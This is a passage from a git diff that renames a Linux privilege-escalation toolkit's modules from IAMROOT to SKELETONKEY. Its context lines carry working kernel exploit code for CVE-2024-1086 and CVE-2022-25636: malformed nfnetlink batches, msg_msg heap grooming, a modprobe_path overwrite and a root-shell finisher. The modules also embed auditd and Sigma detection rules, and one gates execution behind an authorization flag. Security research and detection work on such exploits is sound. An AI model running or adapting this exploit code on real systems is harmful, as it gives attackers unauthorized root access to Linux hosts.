value points at modprobe_path. - * 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path. + * 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path. * 5. execve() an unknown binary to invoke modprobe with our payload. * * Affected kernel ranges: @@ -55,7 +55,7 @@ * for unprivileged users even on a kernel-vulnerable host. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -134,12 +134,12 @@ static bool nf_tables_loaded(void) return found; } -static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] nf_tables: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced in 5.14. Anything below predates it. */ @@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] nf_tables: kernel %s predates the bug " "(introduced in 5.14)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&nf_tables_range, &v); @@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns(); @@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] nf_tables: still patch the kernel — a root " "attacker can still trigger the bug\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns " "clone allowed\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ------------------------------------------------------------------ @@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void) /* ------------------------------------------------------------------ * Minimal nfnetlink batch builder. We hand-roll this rather than - * pulling libmnl, both to keep IAMROOT dep-free and because the bug + * pulling libmnl, both to keep SKELETONKEY dep-free and because the bug * relies on a specific malformed verdict that libnftnl validates away. * * Each helper appends to a contiguous batch buffer at *off. @@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start) * Build the ruleset that fires the bug. Strategy mirrors Notselwyn's * PoC (greatly simplified): * 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES) - * 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet - * 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table - * 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict, + * 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet + * 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table + * 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict, * data=verdict (the pipapo combo that holds the bad verdict), * flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL * 5. NFT_MSG_NEWSETELEM with a verdict element whose @@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start) * cross-cache groom. * ------------------------------------------------------------------ */ -static const char NFT_TABLE_NAME[] = "iamroot_t"; -static const char NFT_CHAIN_NAME[] = "iamroot_c"; -static const char NFT_SET_NAME[] = "iamroot_s"; +static const char NFT_TABLE_NAME[] = "skeletonkey_t"; +static const char NFT_CHAIN_NAME[] = "skeletonkey_c"; +static const char NFT_SET_NAME[] = "skeletonkey_s"; /* batch begin / end markers */ static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq) @@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq) end_msg(buf, off, at); } -/* NFT_MSG_NEWTABLE inet "iamroot_t" */ +/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */ static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq) { size_t at = *off; @@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq) * AND once on data_release → double free. * * We pack: - * NFTA_SET_ELEM_LIST_TABLE = "iamroot_t" - * NFTA_SET_ELEM_LIST_SET = "iamroot_s" + * NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t" + * NFTA_SET_ELEM_LIST_SET = "skeletonkey_s" * NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP), * data=verdict(GOTO chain-id=...) } } */ @@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq) * lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the * exploitable range for which Notselwyn's public PoC was validated) * and rely on the shared finisher's sentinel-file post-check to flag - * a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success. + * a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success. * ------------------------------------------------------------------ */ struct nft_arb_ctx { @@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct * The exploit body. * ------------------------------------------------------------------ */ -static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx) { /* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */ - iamroot_result_t pre = nf_tables_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = nf_tables_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n"); return pre; } @@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) if (geteuid() == 0) { if (!ctx->json) fprintf(stderr, "[i] nf_tables: already running as root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { @@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) * as the arb-write. */ if (ctx->full_chain) { - struct iamroot_kernel_offsets off; - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("nf_tables"); - return IAMROOT_EXPLOIT_FAIL; + struct skeletonkey_kernel_offsets off; + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("nf_tables"); + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); if (enter_unpriv_namespaces() < 0) { fprintf(stderr, "[-] nf_tables: userns entry failed\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } struct sockaddr_nl src = { .nl_family = AF_NETLINK }; if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { - perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL; + perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL; } int rcvbuf = 1 << 20; setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); @@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) int qids[SPRAY_MSGS * 4]; for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1; if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) { - close(sock); return IAMROOT_EXPLOIT_FAIL; + close(sock); return SKELETONKEY_EXPLOIT_FAIL; } uint8_t *batch = calloc(1, 16 * 1024); - if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } + if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; } /* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */ uint32_t seq = (uint32_t)time(NULL); @@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] nf_tables: trigger batch failed\n"); drain_spray(qids, SPRAY_MSGS / 2); free(batch); close(sock); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } /* Wire up the arb-write context and hand off to the shared * finisher. The finisher will: - * - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N) + * - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N) * which re-fires the trigger and sprays forged pipapo elems * - execve() the trigger binary to invoke modprobe * - poll for the setuid sentinel, and spawn a root shell. */ @@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) .qused = SPRAY_MSGS / 2, }; - iamroot_result_t r = iamroot_finisher_modprobe_path(&off, + skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off, nft_arb_write, &ac, !ctx->no_shell); drain_spray(qids, ac.qused); @@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) * kernel panics on KASAN we don't want our parent process to be * the one that takes the hit. */ pid_t child = fork(); - if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* --- CHILD --- */ @@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) "fired (KASAN/oops can manifest as child signal)\n", WTERMSIG(status)); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); @@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) " cross-cache groom + modprobe_path overwrite\n" " from github.com/Notselwyn/CVE-2024-1086.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (rc >= 20 && rc <= 25) { if (!ctx->json) { fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } /* ----- Embedded detection rules ----- */ @@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] = "# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n" "# This is the canonical exploit shape; legitimate userns + nft use\n" "# (e.g. firewalld, docker rootless) will also trip — tune per env.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n" - "-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n" + "-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n" "# Also watch for the canonical post-exploit primitives: modprobe_path\n" "# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n" - "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n"; + "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n"; static const char nf_tables_sigma[] = "title: Possible CVE-2024-1086 nf_tables UAF exploitation\n" - "id: a72b5e91-iamroot-nf-tables\n" + "id: a72b5e91-skeletonkey-nf-tables\n" "status: experimental\n" "description: |\n" " Detects the canonical exploit shape: unprivileged user creating a\n" @@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n"; -const struct iamroot_module nf_tables_module = { +const struct skeletonkey_module nf_tables_module = { .name = "nf_tables", .cve = "CVE-2024-1086", .summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W", @@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = { .detect_falco = NULL, }; -void iamroot_register_nf_tables(void) +void skeletonkey_register_nf_tables(void) { - iamroot_register(&nf_tables_module); + skeletonkey_register(&nf_tables_module); } diff --git a/modules/nf_tables_cve_2024_1086/skeletonkey_modules.h b/modules/nf_tables_cve_2024_1086/skeletonkey_modules.h new file mode 100644 index 0000000..b75a4ac --- /dev/null +++ b/modules/nf_tables_cve_2024_1086/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * nf_tables_cve_2024_1086 — SKELETONKEY module registry hook + */ + +#ifndef NF_TABLES_SKELETONKEY_MODULES_H +#define NF_TABLES_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module nf_tables_module; + +#endif diff --git a/modules/nft_fwd_dup_cve_2022_25636/NOTICE.md b/modules/nft_fwd_dup_cve_2022_25636/NOTICE.md index 1dfff6a..30fb2cc 100644 --- a/modules/nft_fwd_dup_cve_2022_25636/NOTICE.md +++ b/modules/nft_fwd_dup_cve_2022_25636/NOTICE.md @@ -17,12 +17,12 @@ Original writeup: Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022). Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181. -## IAMROOT role +## SKELETONKEY role userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates + fwd, overruning `action.entries[1]`. msg_msg cross-cache groom -into kmalloc-512 with `IAMROOT_FWD` tags. +into kmalloc-512 with `SKELETONKEY_FWD` tags. `--full-chain` extends with stride-seeded forged action_entry overwrite aimed at modprobe_path via the shared finisher. diff --git a/modules/nft_fwd_dup_cve_2022_25636/iamroot_modules.h b/modules/nft_fwd_dup_cve_2022_25636/iamroot_modules.h deleted file mode 100644 index 96fd15a..0000000 --- a/modules/nft_fwd_dup_cve_2022_25636/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook - */ - -#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H -#define NFT_FWD_DUP_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module nft_fwd_dup_module; - -#endif diff --git a/modules/nft_fwd_dup_cve_2022_25636/iamroot_modules.c b/modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.c similarity index 93% rename from modules/nft_fwd_dup_cve_2022_25636/iamroot_modules.c rename to modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.c index 7bd8ebe..2be3332 100644 --- a/modules/nft_fwd_dup_cve_2022_25636/iamroot_modules.c +++ b/modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * nft_fwd_dup_cve_2022_25636 — IAMROOT module + * nft_fwd_dup_cve_2022_25636 — SKELETONKEY module * * Heap OOB write in net/netfilter/nf_dup_netdev.c :: * nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx, @@ -41,7 +41,7 @@ * - nf_tables module loadable */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -125,12 +125,12 @@ static bool nf_tables_loaded(void) return found; } -static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* The offload code path only exists from 5.4 onward. Anything @@ -140,7 +140,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug " "(nft offload hook introduced in 5.4)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v); @@ -148,7 +148,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns(); @@ -172,14 +172,14 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n" " attacker can still hit the OOB.\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns " "clone allowed\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ------------------------------------------------------------------ @@ -334,7 +334,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq) * Rule construction — the heart of the trigger. * * Strategy (Aaron Adams shape): - * NEWTABLE netdev "iamroot_fdt" + * NEWTABLE netdev "skeletonkey_fdt" * NEWCHAIN base chain on ingress, family=netdev, * flags = NFT_CHAIN_HW_OFFLOAD ← critical: this is what * drives nft_flow_rule_create() to call the offload hooks @@ -355,8 +355,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq) * the adjacent kmalloc-512 chunk. Boom. * ------------------------------------------------------------------ */ -static const char NFT_TABLE_NAME[] = "iamroot_fdt"; -static const char NFT_CHAIN_NAME[] = "iamroot_fdc"; +static const char NFT_TABLE_NAME[] = "skeletonkey_fdt"; +static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc"; static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */ static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq) @@ -513,7 +513,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues) memset(&p, 0, sizeof p); p.mtype = 0x46; memset(p.mtext, 0xAA, sizeof p.mtext); - memcpy(p.mtext, "IAMROOT_FWD", 11); + memcpy(p.mtext, "SKELETONKEY_FWD", 11); *(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM; int created = 0; @@ -614,7 +614,7 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq) * lockdep, KASAN can all shift it). We ship the layout for an * un-randomized x86_64 build in the exploitable range and rely on * the shared finisher's sentinel-file post-check to flag layout - * mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success. + * mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success. * ------------------------------------------------------------------ */ #ifdef __linux__ @@ -646,7 +646,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c, memset(&p, 0, sizeof p); p.mtype = 0x52; /* 'R' */ memset(p.mtext, 0x52, sizeof p.mtext); - memcpy(p.mtext, "IAMROOT_FWD_A", 13); + memcpy(p.mtext, "SKELETONKEY_FWD_A", 13); *(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB; /* Plant kaddr at strided 0x10-byte offsets across the first @@ -727,22 +727,22 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr, * Exploit driver. * ------------------------------------------------------------------ */ -static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx) { /* Gate 0: explicit user authorization. */ if (!ctx->authorized) { fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } /* Gate 1: already root? */ if (geteuid() == 0) { if (!ctx->json) fprintf(stderr, "[i] nft_fwd_dup: already running as root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Gate 2: re-detect — kernel patched / userns denied since scan. */ - iamroot_result_t pre = nft_fwd_dup_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = nft_fwd_dup_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; " "refusing\n"); return pre; @@ -751,7 +751,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) #ifndef __linux__ fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n"); (void)ctx; - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else if (!ctx->json) { if (ctx->full_chain) { @@ -768,28 +768,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) /* --- --full-chain path: resolve offsets before forking ---------- * * Refuse cleanly if we can't reach modprobe_path. */ if (ctx->full_chain) { - struct iamroot_kernel_offsets off; - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("nft_fwd_dup"); - return IAMROOT_EXPLOIT_FAIL; + struct skeletonkey_kernel_offsets off; + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("nft_fwd_dup"); + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); if (enter_unpriv_namespaces() < 0) { fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } (void)bring_lo_up(); int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } struct sockaddr_nl src = { .nl_family = AF_NETLINK }; if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { - perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL; + perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL; } int rcvbuf = 1 << 20; setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); @@ -804,7 +804,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) } uint8_t *batch = calloc(1, 32 * 1024); - if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } + if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; } uint32_t seq = (uint32_t)time(NULL); size_t blen = build_trigger_batch(batch, &seq); @@ -817,7 +817,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n"); drain_msg_msg(qids, SPRAY_QUEUES_GROOM); free(batch); close(sock); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } struct fwd_arb_ctx ac = { @@ -828,7 +828,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) .qused = SPRAY_QUEUES_GROOM, }; - iamroot_result_t r = iamroot_finisher_modprobe_path( + skeletonkey_result_t r = skeletonkey_finisher_modprobe_path( &off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell); drain_msg_msg(qids, ac.qused); @@ -839,7 +839,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) /* --- primitive-only path: fork-isolated trigger ---------------- */ pid_t child = fork(); - if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* CHILD: namespace + trigger. */ @@ -890,7 +890,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) if (after < 0) after = slab_active("kmalloc-cg-512"); /* Breadcrumb for triage. */ - FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w"); + FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w"); if (log) { fprintf(log, "nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n", @@ -919,7 +919,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) "likely fired (KASAN/oops can manifest as signal)\n", WTERMSIG(status)); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); @@ -933,19 +933,19 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) " the kaddr-tagged forged-entry spray reaches\n" " the shared modprobe_path finisher.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (rc >= 20 && rc <= 24) { if (!ctx->json) { fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed " "(child rc=%d)\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; #endif /* __linux__ */ } @@ -953,7 +953,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) * Cleanup — drain leftover sysv queues and unlink the breadcrumb. * ------------------------------------------------------------------ */ -static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx) { if (!ctx->json) { fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n"); @@ -980,10 +980,10 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx) fclose(f); } #endif - if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) { + if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) { /* harmless */ } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ------------------------------------------------------------------ @@ -995,16 +995,16 @@ static const char nft_fwd_dup_auditd[] = "# Flag the canonical exploit shape: unprivileged userns followed\n" "# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n" "# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n" - "-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n" - "-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n" - "-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n" + "-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n" + "-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n" + "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n" "# Post-exploit hallmarks (modprobe_path overwrite path):\n" - "-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n"; + "-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n"; static const char nft_fwd_dup_sigma[] = "title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n" - "id: 3c1f9b27-iamroot-nft-fwd-dup\n" + "id: 3c1f9b27-skeletonkey-nft-fwd-dup\n" "status: experimental\n" "description: |\n" " Detects unprivileged user namespace creation followed by\n" @@ -1024,7 +1024,7 @@ static const char nft_fwd_dup_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n"; -const struct iamroot_module nft_fwd_dup_module = { +const struct skeletonkey_module nft_fwd_dup_module = { .name = "nft_fwd_dup", .cve = "CVE-2022-25636", .summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)", @@ -1041,7 +1041,7 @@ const struct iamroot_module nft_fwd_dup_module = { .detect_falco = NULL, }; -void iamroot_register_nft_fwd_dup(void) +void skeletonkey_register_nft_fwd_dup(void) { - iamroot_register(&nft_fwd_dup_module); + skeletonkey_register(&nft_fwd_dup_module); } diff --git a/modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.h b/modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.h new file mode 100644 index 0000000..c53a2cd --- /dev/null +++ b/modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook + */ + +#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H +#define NFT_FWD_DUP_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module nft_fwd_dup_module; + +#endif diff --git a/modules/nft_payload_cve_2023_0179/NOTICE.md b/modules/nft_payload_cve_2023_0179/NOTICE.md index 619b41c..bc9b096 100644 --- a/modules/nft_payload_cve_2023_0179/NOTICE.md +++ b/modules/nft_payload_cve_2023_0179/NOTICE.md @@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023). Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. -## IAMROOT role +## SKELETONKEY role userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → 